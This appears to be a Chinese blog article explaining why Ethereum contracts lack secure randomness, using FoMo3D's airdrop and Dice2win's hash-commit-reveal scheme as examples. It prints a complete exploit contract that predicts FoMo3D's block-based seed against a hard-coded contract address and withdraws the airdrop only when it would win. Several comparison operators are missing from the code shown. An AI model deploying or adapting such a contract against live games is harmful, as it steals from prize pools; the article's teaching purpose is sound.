在以太坊应用中,游戏一直都是热点中的热点,而在游戏中,随机数往往是一个不可或缺的功能,比如骰子游戏中,我们需要通过随机数来控制点数,如果一个游戏有一个好的随机数算法的话,那么既可以保证游戏庄家不被黑,也可以保证玩家不被宰。

虽然随机数很重要,但是坏消息是在以太坊中实现一个基本的随机数并不是一件简单的事情。对于不熟悉区块链的人而言,这可能有些难以理解:毕竟大多数编程语言都有生成随机数的功能,难道以太坊的 Solidity 没有这个功能?答案是没有!要搞清楚这一点,我们还需要了解一下以太坊的运行机制:以太坊是一个基于共识的区块链系统,当智能合约代码运行的时候,不同的节点得到的结果必须一致。设想一下,假设 Solidity 有一个 random 函数,在 A 节点生成一个随机数 123,在 B 节点生成一个随机数 789,那就不存在共识了,区块链的根基就不存在了,所以以太坊不存在 random 之类的函数。
下面我们以两个比较出名的 DAPP 游戏为例,看看它们是如何生成随机数的:
先看看 Fomo3D,它有一个空投奖金的功能,随机数相关代码如下:
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) airDropTracker_)
return(true);
else
return(false);
}
大概逻辑就是根据区块和地址等信息做若干运算,拿到一个随机数,进而判断用户是否中奖,不过这个随机数是一个伪随机数,让我们看看对应的攻击代码:
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
contract PwnFoMo3D {
constructor() public payable {
// Link up the fomo3d contract and ensure this whole thing is worth it
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
if (fomo3d.airDropPot_() 0.4 ether) {
revert();
}
// Calculate whether this transaction would produce an airdrop. Take the
// "random" number generator from the FoMo3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));
uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) = tracker) {
revert();
}
// Ok, seems we can win the airdrop, pwn the contract
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
不懂 Solidity 也没关系,代码逻辑很简单:攻击者部署新合约,然后在合约中按照相同的随机数逻辑来预演自己能否中奖,不能就回滚,能就拿钱走人。如此一来,攻击者的成本仅仅就是部署合约的 GAS 费,相对于偷来的奖金而言可以忽略不计。
再看看 Dice2win,其代码最主要的函数就两个:placeBet、settleBet,分别对应着下注和开奖,其中采用了一种名为 hash-commit-reveal 的算法来实现随机数:
1.【庄家承诺】庄家(secretSigner)随机生成某随机数reveal,同时计算commit = keccak256 (reveal)对该reveal进行承诺。然后根据目前区块高度,设置一个该承诺使用的最后区块高度commitLastBlock。 对commitLastBlock和commit的组合体进行签名得到sig,同时把(commit, commitLastBlock,sig)发送给玩家。
2.【玩家下注】玩家获得(commit, commitLastBlock,sig)后选择具体要玩的游戏,猜测一个随机数r,发送下注交易placeBet到智能合约上进行下注。
3.【庄家开奖】当庄家在区块block1中看到玩家的下注信息后。则发送settleBet交易公开承诺值reveal到区块链上。合约计算随机数random_number=keccak256(reveal,block1.hash)。如果random_number满足用户下注条件,则用户胜,否则庄家胜。此外游戏还设有大奖机制,即如果某次random_number满足某个特殊值(如88888),则用户可赢得奖金池中的大奖。
说明:以上信息摘录自「Not a fair game, Dice2win公平性分析」。
庄家承诺、玩家下注、庄家开奖三个步骤分别对应着 hash-commit-reveal 的三个阶段,整个过程中庄家掌握着随机数,玩家控制着投注,敏感信息分散在不同人手中,谁也别想单独作弊,从而实现了一种相对公平的算法,当然了,这里可能存在参考链接中提及的庄家选择性开奖的问题,但这点可以通过别的方法来规避,这里略过不谈。
看了本文的例子,相信大家应该对如何在以太坊中生成随机数有了一个基本的认识:记住区块链里一切都是公开的,不要试图在智能合约里通过区块之类的信息来生成随机数,而应该在服务端通过 hash-commit-reveal 之类的算法来实现随机数。此外,我再推荐一篇好文章:以太坊智能合约中随机数预测。
电脑维修基础知识详解:如何快速诊断常
电脑故障是每个用户不可避免的问题,尤其是在技术不断进步的......
阅读
原神塔列辛之书成就完成攻略
原神塔列辛之书成就完成攻略,原神塔列辛之书成就怎么做?原神......
阅读
win7端口已被占用 1080
很多使用win7系统电脑的小伙伴发现需要打开某个端口的时候,系......
阅读
qq阅读怎么关闭自动购买下一章
在qq阅读看付费书时,会在章节阅读结束时自动购买下一章节,......
阅读
微信QQ群实名制什么时候执行 国家网信办
国家网信办新规表示所有社交软件群主需要实名制,包括微信群......
阅读
Epic Games 将与 LEGO 合作开发
他趣女生聊天不用钱吗
Newzoo:云流媒体游戏市场
win11将在6.24正式发布_你们
Windows365云PC现在支持Wind
使用开源的Privatezilla快速
淘宝人生成就步骤介绍
win10版本1607 更新补丁KB4
泰拉瑞亚小鬼法杖怎么样
Switch最终幻想12黄道纪元金
乐高星球大战天行者传奇
撼讯显卡质量怎么样
讯景显卡怎么保修
小米13查找设备的教程
主板故障的常见表现:如
Word文档让水印显示在图片
WPS Excel实现序号自动递增
win10version版本详细介绍
Mac连接打印机
Windows10失去互联网连接?
tplink无线路由器ip地址怎么
蓝牙设备的普及使得我们日常生活中越来越依赖于这些无线连接。时常会遇到连接不成功的问题,令人困扰。无论是鼠标、耳机还是音响,这些设备的蓝牙适配器常常成为连接的关键环节。宋先...
次阅读
在当前科技迅速发展的时代,选择合适的电脑硬件组合对于提升电脑性能至关重要。性能优化不仅体现在单个硬件的选择上,还取决于整体的系统兼容性和协同工作效果。本文将从最新的硬件市...
次阅读
cdrx4软件下载(coreldraw x4简体中文版)相比两年前的coreldraw x3中文正式版(cdr下载)加入了大量新特性,总计有50项以上,其中值得注意的亮点有文本格式实时预览、字体识别、页面无关层控制、交互...
次阅读
win11下载不了软件怎么处理才能下载呢 使用Win10系统时,很多朋友遇到了下载软件被屏蔽的情况。现在这个问题仍然存在于Win11。如果不能在Win11系统下载中下载软件,下...
次阅读
升级Win11任务栏不见了如何解决?最近有Win11的用户 反映,在使用Win11系统的时候发现下面的任务栏不见了,那么Win11下面的任务栏没了怎么办呢?今天小编就来教大家升级Win11...
次阅读
utorrent是一款体积迷你的bt下载工具,它在运行的过程中不会过多的占用计算机系统的资源,能够让用户快速、高效的进行下载任务,而且它为用户提供了一边下载bt种子,一边调用第三方播放器...
次阅读
edge浏览器是当前大家非常喜欢的一款浏览器,大家在使用该浏览器的时候,想要进入到隐身模式窗口中进行浏览,但是发现进入到edge浏览器隐身窗口之后,原本安装好的插件,在edge浏览器隐藏...
次阅读
网络连接不稳定是现代生活中常见的问题,尤其是在远程办公和在线学习日益普及的背景下,网络质量的好坏直接影响到我们的工作和学习效率。许多用户在使用电脑时,往往会遇到网络连接缓...
次阅读
在使用有道云笔记编写文字时,如果想看看自己编写文字有多少字数,该怎么查看呢?下面小编就和大家一起分享有道云笔记截图功能的使用方法,还不会的朋友可以来看看本篇教程哦,希望通...
次阅读
最近有很很多朋友表示很好奇ps是怎么将数字外面添加圆圈的?其实很简单,下面小编就为大家带来了ps数字外面添加圆圈方法哦,感兴趣的朋友赶快来看看吧。...
次阅读
USB接口是现代电子设备中不可或缺的一部分,许多用户在使用过程中会遇到USB接口松动或者接触不良的问题。这种情况不仅影响设备的正常工作,还可能导致数据丢失或设备损坏。为了帮助用户...
次阅读
自助组装电脑已经成为越来越多用户的选择,这不仅因为它能提供更高的性能和可定制性,还能在相对较低的预算内实现理想的计算机配置。缺乏经验的用户常常在装机过程中遭遇一些常见错误...
次阅读
亿图脑图mindmaster是一款非常好用的软件,很多小伙伴都在使用。在亿图脑图mindmaster中如果我们希望为指定内容添加外框,小伙伴们指定具体该如何进行操作吗,其实操作方法是非常简单的,添...
次阅读
笔记本win11好用吗?笔记本安装win11怎么样 其实幻尘早就听说win11系统的消息了,但是却一直不敢安装,原因很简单,之前让win10系统给折腾怕了。由于是新系统,问题频发,那...
次阅读
USB接口是现代电脑和设备中不可或缺的一部分,其广泛应用于数据传输、设备充电和外设连接等多个场景。USB接口故障时常让人感到无奈。为了帮助大家更好地应对这种情况,下面将介绍简便的...
次阅读